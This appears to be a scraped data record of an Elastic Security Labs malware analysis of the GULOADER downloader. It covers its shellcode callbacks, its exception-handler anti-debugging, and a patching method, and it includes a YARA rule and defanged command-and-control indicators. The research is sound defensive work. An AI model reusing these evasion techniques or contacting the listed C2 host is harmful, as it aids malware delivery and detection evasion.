101.99.75[.]183 | ipv4-addr | NA | GULOADER C2 IP |\n\n## References\n\n* [https://github.com/elastic/labs-releases/tree/main/tools/guloader](https://github.com/elastic/labs-releases/tree/main/tools/guloader) \n* [https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye](https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye)","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var w=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),f=(n,e)=\u003e{for(var i in e)r(n,i,{get:e[i],enumerable:!0})},l=(n,e,i,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!m.call(n,o)\u0026\u0026o!==i\u0026\u0026r(n,o,{get:()=\u003ee[o],enumerable:!(a=g(e,o))||a.enumerable});return n};var y=(n,e,i)=\u003e(i=n!=null?h(u(n)):{},l(e||!n||!n.__esModule?r(i,\"default\",{value:n,enumerable:!0}):i,n)),b=n=\u003el(r({},\"__esModule\",{value:!0}),n);var c=w((v,s)=\u003e{s.exports=_jsx_runtime});var R={};f(R,{default:()=\u003eO,frontmatter:()=\u003eE});var t=y(c()),E={title:\"Getting gooey with GULOADER: deobfuscating the downloader\",slug:\"getting-gooey-with-guloader-downloader\",date:\"2023-12-06\",description:\"Elastic Security Labs walks through the updated GULOADER analysis countermeasures.\",author:[{slug:\"daniel-stepanic\"}],image:\"photo-edited-03@2x.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"guloader\",\"cloudeye\",\"Vectored Exception handler\"]};function d(n){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",strong:\"strong\",img:\"img\",code:\"code\",pre:\"pre\",em:\"em\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"overview\",children:\"Overview\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic Security Labs continues to monitor active threats such as GULOADER, also known as \",(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye\",rel:\"nofollow\",children:\"CloudEyE\"}),\" \\u2013 an evasive shellcode downloader that has been highly active for years while under constant development. One of these recent changes is the addition of exceptions to its Vectored Exception Handler (VEH) in a fresh campaign, adding more complexity to its already long list of anti-analysis tricks.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"While GULOADER\\u2019s core functionality hasn\\u2019t changed drastically over the past few years, these constant updates in their obfuscation techniques make analyzing GULOADER a time-consuming and resource-intensive process. In this post, we will touch on the following topics when triaging GULOADER:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Reviewing the initial shellcode and unpacking process\"}),`\n`,(0,t.jsx)(e.li,{children:\"Finding the entrypoint of the decrypted shellcode\"}),`\n`,(0,t.jsx)(e.li,{children:\"Discuss update to GULOADER\\u2019s VEH that obfuscates control flow\"}),`\n`,(0,t.jsx)(e.li,{children:\"Provide a methodology to patch out VEH\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"initial-shellcode\",children:\"Initial Shellcode\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In our \",(0,t.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99\",rel:\"nofollow\",children:\"sample\"}),\", GULOADER comes pre-packaged inside an NSIS (Nullsoft Scriptable Install System) installer. When the installer is extracted, the main components are:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"NSIS Script\"}),\" - This script file outlines all the various configuration and installation aspects.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image1.png\",alt:\"Extracted NSIS contents\",title:\"Extracted NSIS contents\",width:\"517\",height:\"160\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"System.dll\"}),\" - Located under the \",(0,t.jsx)(e.code,{children:\"$PLUGINSDir\"}),\". This file is dropped in a temporary folder to allocate/execute the GULOADER shellcode.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image10.png\",alt:\"System.Dll exports\",title:\"System.Dll exports\",width:\"484\",height:\"130\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Shellcode\"}),\" - The encrypted shellcode is buried into a nested folder.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"One quick methodology to pinpoint the file hosting the shellcode can be done by monitoring \",(0,t.jsx)(e.code,{children:\"ReadFile\"}),\" events from SysInternal\\u2019s Process Monitor after executing GULOADER. In this case, we can see that the shellcode is read in from a file (\",(0,t.jsx)(e.code,{children:\"Fibroms.Hag\"}),\").\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image11.png\",alt:\"Shellcode Retrieved from File\",title:\"Shellcode Retrieved from File\",width:\"1340\",height:\"265\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"GULOADER executes shellcode through callbacks using different Windows API functions. The main reasoning behind this is to avoid detections centered around traditional Windows APIs used for process injection, such as \",(0,t.jsx)(e.code,{children:\"CreateRemoteThread\"}),\" or \",(0,t.jsx)(e.code,{children:\"WriteProcessMemory\"}),\". We have observed \",(0,t.jsx)(e.code,{children:\"EnumResourceTypesA\"}),\" and \",(0,t.jsx)(e.code,{children:\"CallWindowProcW\"}),\" used by GULOADER.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image6.png\",alt:\"EnumResourceTypesA Function Call inside GULOADER\",title:\"EnumResourceTypesA Function Call inside GULOADER\",width:\"1064\",height:\"101\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"By reviewing the MSDN documentation for \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-enumresourcetypesa\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"EnumResourceTypesA\"})}),\", we can see the second parameter expects a pointer to the callback function. From the screenshot above, we can see that the newly allocated shellcode is placed into this argument.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image13.png\",alt:\"EnumResourceTypesA Function Parameters\",title:\"EnumResourceTypesA Function Parameters\",width:\"920\",height:\"283\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image7.png\",alt:\"Shellcode from second parameter EnumResourceTypesA call\",title:\"Shellcode from second parameter EnumResourceTypesA call\",width:\"521\",height:\"246\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"finding-main-shellcode-entrypoint\",children:\"Finding Main Shellcode Entrypoint\"}),`\n`,(0,t.jsx)(e.p,{children:\"In recent samples, GULOADER has increased the complexity at the start of the initial shellcode by including many different junk instructions and jumps. Reverse engineering of the downloader can require dealing with a long process of unwinding code obfuscation designed to break disassembly and control flow in some tooling, making it frustrating to find the actual start of the core GULOADER shellcode.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"One methodology for finding the initial call can be leveraging graph view inside x64dbg and using a bottom-to-top approach to look for the \",(0,t.jsx)(e.code,{children:\"call eax\"}),\" instruction.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image16.png\",alt:\"Graph view for GULOADER main entrypoint call\",title:\"Graph view for GULOADER main entrypoint call\",width:\"309\",height:\"616\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Another technique to trace the initial control flow involves leveraging the reversing engineering framework \",(0,t.jsx)(e.a,{href:\"https://github.com/cea-sec/miasm\",rel:\"nofollow\",children:\"Miasm\"}),(0,t.jsx)(e.strong,{children:\".\"}),\" Below is a quick example where we can pass in the shellcode and disassemble the instructions to follow the flow:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`from miasm.core.locationdb import LocationDB\nfrom miasm.analysis.binary import Container\nfrom miasm.analysis.machine import Machine\n\nwith open(\"proctoring_06BF0000.bin\", \"rb\") as f:\n code = f.read()\n\nloc_db = LocationDB()\nc = Container.from_string(code, loc_db)\n\nmachine = Machine('x86_32')\nmdis = machine.dis_engine(c.bin_stream, loc_db=loc_db)\nmdis.follow_call = True \nmdis.dontdis_retcall = True\nasm_cfg = mdis.dis_multiblock(offset=0x1400)\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Miasm cuts through the 142 \",(0,t.jsx)(e.code,{children:\"jmp\"}),\" instructions and navigates through the junk instructions where we have configured it to stop on the call instruction to EAX (address: \",(0,t.jsx)(e.code,{children:\"0x3bde\"}),\").\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`JMP loc_3afd\n-\u003e\tc_to:loc_3afd \nloc_3afd\nMOV EBX, EAX\nFADDP ST(3), ST\nPANDN XMM7, XMM2\nJMP loc_3b3e\n-\u003e\tc_to:loc_3b3e \nloc_3b3e\nSHL CL, 0x0\nPSRAW MM1, MM0\nPSRLD XMM1, 0xF1\nJMP loc_3b97\n-\u003e\tc_to:loc_3b97 \nloc_3b97\nCMP DL, 0x3A\nPADDW XMM3, XMM5\nPXOR MM3, MM3\nJMP loc_3bde\n-\u003e\tc_to:loc_3bde \nloc_3bde\nCALL EAX\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Tail end of Miasm\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"guloaders-veh-update\",children:\"GULOADER\\u2019s VEH Update\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"One of GULOADER\\u2019s hallmark techniques is centered around its \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/debug/vectored-exception-handling\",rel:\"nofollow\",children:\"Vectored Exception Handling\"}),\" (VEH) capability. This feature gives Windows applications the ability to intercept and handle exceptions before they are routed through the standard exception process. Malware families and software protection applications use this technique to make it challenging for analysts and tooling to follow the malicious code.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"GULOADER starts this process by adding the VEH using \",(0,t.jsx)(e.code,{children:\"RtlAddVectoredExceptionHandler\"}),\". Throughout the execution of the GULOADER shellcode, there is code purposely placed to trigger these different exceptions. When these exceptions are triggered, the VEH will check for hardware breakpoints. If not found, GULOADER will modify the EIP directly through the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context\",rel:\"nofollow\",children:\"CONTEXT structure\"}),\" using a one-byte XOR key (changes per sample) with a one-byte offset from where the exception occurred. We will review a specific example of this technique in the subsequent section. Below is the decompilation of our sample\\u2019s VEH:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image3.png\",alt:\"Decompilation of VEH\",title:\"Decompilation of VEH\",width:\"698\",height:\"552\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Although this technique is not new, GULOADER continues to add new exceptions over time; we have recently observed these two exceptions added in the last few months:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"EXCEPTION_PRIV_INSTRUCTION\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"EXCEPTION_ILLEGAL_INSTRUCTION\"})}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"As new exceptions get added to GULOADER, it can end up breaking tooling used to expedite the analysis process for researchers.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"exception_priv_instruction\",children:\"EXCEPTION_PRIV_INSTRUCTION\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Let\\u2019s walk through the two recently added exceptions to follow the VEH workflow. The first exception (\",(0,t.jsx)(e.code,{children:\"EXCEPTION_PRIV_INSTRUCTION\"}),\"), occurs when an attempt is made to execute a privileged instruction in a processor\\u2019s instruction set at a privilege level where it\\u2019s not allowed. Certain instructions, like the example below with \",(0,t.jsx)(e.a,{href:\"https://www.felixcloutier.com/x86/wrmsr\",rel:\"nofollow\",children:\"WRSMR\"}),\" expect privileges from the kernel level, so when the program is run from user mode, it will trigger the exception due to incorrect permissions.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image2.png\",alt:\"EXCEPTION_PRIV_INSTRUCTION triggered by wrmsr instruction\",title:\"EXCEPTION_PRIV_INSTRUCTION triggered by wrmsr instruction\",width:\"604\",height:\"176\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"exception_illegal_instruction\",children:\"EXCEPTION_ILLEGAL_INSTRUCTION\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This exception is invoked when a program attempts to execute an invalid or undefined CPU instruction. In our sample, when we run into Intel virtualization instructions such as \",(0,t.jsx)(e.code,{children:\"vmclear\"}),\" or \",(0,t.jsx)(e.code,{children:\"vmxon\"}),\", this will trigger an exception.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image14.png\",alt:\"EXCEPTION_ILLEGAL_INSTRUCTION triggered by vmclear instruction\",title:\"EXCEPTION_ILLEGAL_INSTRUCTION triggered by vmclear instruction\",width:\"668\",height:\"170\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Once an exception occurs, the GULOADER VEH code will first determine which exception code was responsible for the exception. In our sample, if the exception matches any of the five below, the code will take the same path regardless.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"EXCEPTION_ACCESS_VIOLATION\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"EXCEPTION_ILLEGAL_INSTRUCTION\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"EXCEPTION_PRIV_INSTRUCTION\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"EXCEPTION_SINGLE_STEP\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"EXCEPTION_BREAKPOINT\"})}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"GULOADER will then check for any hardware breakpoints by walking the CONTEXT record found inside the \",(0,t.jsx)(e.strong,{children:(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-exception_pointers\",rel:\"nofollow\",children:\"EXCEPTION_POINTERS\"})}),\" structure. If hardware breakpoints are found in the different debug registers, GULOADER will return a \",(0,t.jsx)(e.code,{children:\"0\"}),\" into the CONTEXT record, which will end up causing the shellcode to crash.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image4.png\",alt:\"GULOADER monitoring hardware breakpoints\",title:\"GULOADER monitoring hardware breakpoints\",width:\"840\",height:\"285\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"If there are no hardware breakpoints, GULOADER will retrieve a single byte which is 7 bytes away from the address that caused the exception. When using the last example with \",(0,t.jsx)(e.code,{children:\"vmclear\"}),\", it would retrieve byte (\",(0,t.jsx)(e.code,{children:\"0x8A\"}),\").\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image9.png\",alt:\"GULOADER retrieves a single byte, 7 bytes away from the instruction, causing an exception\",title:\"GULOADER retrieves a single byte, 7 bytes away from the instruction, causing an exception\",width:\"644\",height:\"136\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Then, using that byte, it will perform an XOR operation with a different hard-coded byte. In our case (\",(0,t.jsx)(e.code,{children:\"0xB8\"}),\"), this is unique per sample. Now, with a derived offset \",(0,t.jsx)(e.code,{children:\"0x32\"}),\" (\",(0,t.jsx)(e.code,{children:\"0xB8 ^ 0x8A\"}),\"), GULOADER will modify the EIP address directly from the CONTEXT record by adding \",(0,t.jsx)(e.code,{children:\"0x32\"}),\" to the previous address (\",(0,t.jsx)(e.code,{children:\"0x7697630\"}),\") that caused the exception resulting in the next code to execute from address (\",(0,t.jsx)(e.code,{children:\"0x7697662\"}),\").\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image8.png\",alt:\"Junk instructions in between exceptions\",title:\"Junk instructions in between exceptions\",width:\"895\",height:\"512\"})}),`\n`,(0,t.jsx)(e.p,{children:\"With different junk instructions in between, and repeatedly hitting exceptions (we counted 229 unique exceptions in our sample), it\\u2019s not hard to see why this can break different tooling and increase analyst time.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"control-flow-cleaning\",children:\"Control Flow Cleaning\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"To make following the control flow easier, an analyst can bypass the VEH by tracing the execution, logging the exceptions, and patching the shellcode using the previously discussed EIP modification algorithm. For this procedure, we leveraged \",(0,t.jsx)(e.a,{href:\"https://github.com/hasherezade/tiny_tracer\",rel:\"nofollow\",children:\"TinyTracer\"}),\", a tool written by \",(0,t.jsx)(e.a,{href:\"https://twitter.com/hasherezade\",rel:\"nofollow\",children:\"@hasherezade\"}),\" that leverages \",(0,t.jsx)(e.a,{href:\"https://www.intel.com/content/www/us/en/developer/articles/tool/pin-a-dynamic-binary-instrumentation-tool.html\",rel:\"nofollow\",children:\"Pin\"}),\", a dynamic binary instrumentation framework. This will allow us to catch the different addresses that triggered the exception, so using the example above with \",(0,t.jsx)(e.code,{children:\"vmclear\"}),\", we can see the address was \",(0,t.jsx)(e.code,{children:\"0x7697630\"}),\", generated an exception calling \",(0,t.jsx)(e.code,{children:\"KiUserExceptionDispatcher\"}),\", a function responsible for handling user-mode exceptions.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Once all the exceptions are collected and filtered, these can be passed into an IDAPython script where we walk through each address, calculate the offset using the 7th byte over and XOR key (\",(0,t.jsx)(e.code,{children:\"0xB8\"}),\"), then patch out all the instructions generating exceptions with short jumps.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The following image is an example of patching instructions that trigger exceptions at addresses \",(0,t.jsx)(e.code,{children:\"0x07697630\"}),\" and \",(0,t.jsx)(e.code,{children:\"0x0769766C\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image15.png\",alt:\"Disassembly of patched instructions\",title:\"Disassembly of patched instructions\",width:\"950\",height:\"242\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Below is a graphic representing the control flow graph before the patching is applied globally. Our basic block with the \",(0,t.jsx)(e.code,{children:\"vmclear\"}),\" instruction is highlighted in orange. By implementing the VEH, GULOADER flattens the control flow graph, making it harder to trace the program logic.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image5.png\",alt:\"GULOADER\\u2019s control flow flattening obfuscation\",title:\"GULOADER\\u2019s control flow flattening obfuscation\",width:\"1440\",height:\"234\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"After patching the VEH with \",(0,t.jsx)(e.code,{children:\"jmp\"}),\" instructions, this transforms the basic blocks by connecting them together, reducing the complexity behind the flow of the shellcode.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-gooey-with-guloader-downloader/image12.png\",alt:\"GULOADER\\u2019s call graph obfuscation\",title:\"GULOADER\\u2019s call graph obfuscation\",width:\"379\",height:\"674\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Using this technique can accelerate the cleaning process, yet it\\u2019s important to note that it isn\\u2019t a bulletproof method. In this instance, there still ends up being a good amount of code/functionality that will still need to be analyzed, but this definitely goes a long way in simplifying the code by removing the VEH. The full POC script is located \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/tools/guloader/guloader_FixCFG.py\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"GULOADER has many different features that can break disassembly, hinder control flow, and make analysis difficult for researchers. Despite this and the process being imperfect, we can counter these traits through different static or dynamic processes to help reduce the analysis time. For example, we observed that with new exceptions in the VEH, we can still trace through them and patch the shellcode. This process will set the analyst on the right path, closer to accessing the core functionality with GULOADER.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"By sharing some of our workflow, we hope to provide multiple takeaways if you encounter GULOADER in the wild. Based on GULOADER\\u2019s changes, it's highly likely that future behaviors will require new and different strategies. For detecting GULOADER, the following section includes YARA rules, and the IDAPython script from this post can be found \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/tools/guloader/guloader_FixCFG.py\",rel:\"nofollow\",children:\"here\"}),\". For new updates on the latest threat research, check out our \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/topics/malware-analysis\",rel:\"nofollow\",children:\"malware analysis section\"}),\" by the Elastic Security Labs team.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"yara\",children:\"YARA\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic Security has created different YARA \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Guloader.yar\",rel:\"nofollow\",children:\"rules\"}),\" to identify this activity. Below is an example of one YARA rule to identify GULOADER.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`rule Windows_Trojan_Guloader {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-10-30\"\n last_modified = \"2023-11-02\" \n reference_sample = \"6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99\"\n severity = 100\n arch = \"x86\"\n threat_name = \"Windows.Trojan.Guloader\"\n license = \"Elastic License v2\"\n os = \"windows\"\n strings:\n $djb2_str_compare = { 83 C0 08 83 3C 04 00 0F 84 [4] 39 14 04 75 }\n $check_exception = { 8B 45 ?? 8B 00 38 EC 8B 58 ?? 84 FD 81 38 05 00 00 C0 }\n $parse_mem = { 18 00 10 00 00 83 C0 18 50 83 E8 04 81 00 00 10 00 00 50 }\n $hw_bp = { 39 48 0C 0F 85 [4] 39 48 10 0F 85 [4] 39 48 14 0F 85 [7] 39 48 18 }\n $scan_protection = { 39 ?? 14 8B [5] 0F 84 }\n condition:\n 2 of them\n}\n`})}),`\n`,(0,t.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"All observables are also available for \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/guloader\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Observable\"}),(0,t.jsx)(e.th,{children:\"Type\"}),(0,t.jsx)(e.th,{children:\"Name\"}),(0,t.jsx)(e.th,{children:\"Reference\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"Windows.Trojan.Guloader\"}),(0,t.jsx)(e.td,{children:\"GULOADER downloader\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"101.99.75[.]183/MfoGYZkxZIl205.bin\"}),(0,t.jsx)(e.td,{children:\"url\"}),(0,t.jsx)(e.td,{children:\"NA\"}),(0,t.jsx)(e.td,{children:\"GULOADER C2 URL\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"101.99.75[.]183\"}),(0,t.jsx)(e.td,{children:\"ipv4-addr\"}),(0,t.jsx)(e.td,{children:\"NA\"}),(0,t.jsx)(e.td,{children:\"GULOADER C2 IP\"})]})]})]})}),`\n`,(0,t.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/tools/guloader\",rel:\"nofollow\",children:\"https://github.com/elastic/labs-releases/tree/main/tools/guloader\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye\",rel:\"nofollow\",children:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye\"})}),`\n`]})]})}function x(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(d,n)})):d(n)}var O=x;return b(R);})();\n;return Component;"},"_id":"articles/getting-gooey-with-guloader-downloader.mdx","_raw":{"sourceFilePath":"articles/getting-gooey-with-guloader-downloader.mdx","sourceFileName":"getting-gooey-with-guloader-downloader.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/getting-gooey-with-guloader-downloader"},"type":"Article","imageUrl":"/assets/images/getting-gooey-with-guloader-downloader/photo-edited-03@2x.jpg","readingTime":"13 min read","series":"","url":"/getting-gooey-with-guloader-downloader","headings":[{"level":2,"title":"Overview","href":"#overview"},{"level":2,"title":"Initial Shellcode","href":"#initial-shellcode"},{"level":2,"title":"Finding Main Shellcode Entrypoint","href":"#finding-main-shellcode-entrypoint"},{"level":2,"title":"GULOADER’s VEH Update","href":"#guloaders-veh-update"},{"level":3,"title":"EXCEPTION_PRIV_INSTRUCTION","href":"#exception_priv_instruction"},{"level":3,"title":"EXCEPTION_ILLEGAL_INSTRUCTION","href":"#exception_illegal_instruction"},{"level":2,"title":"Control Flow Cleaning","href":"#control-flow-cleaning"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"YARA","href":"#yara"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var 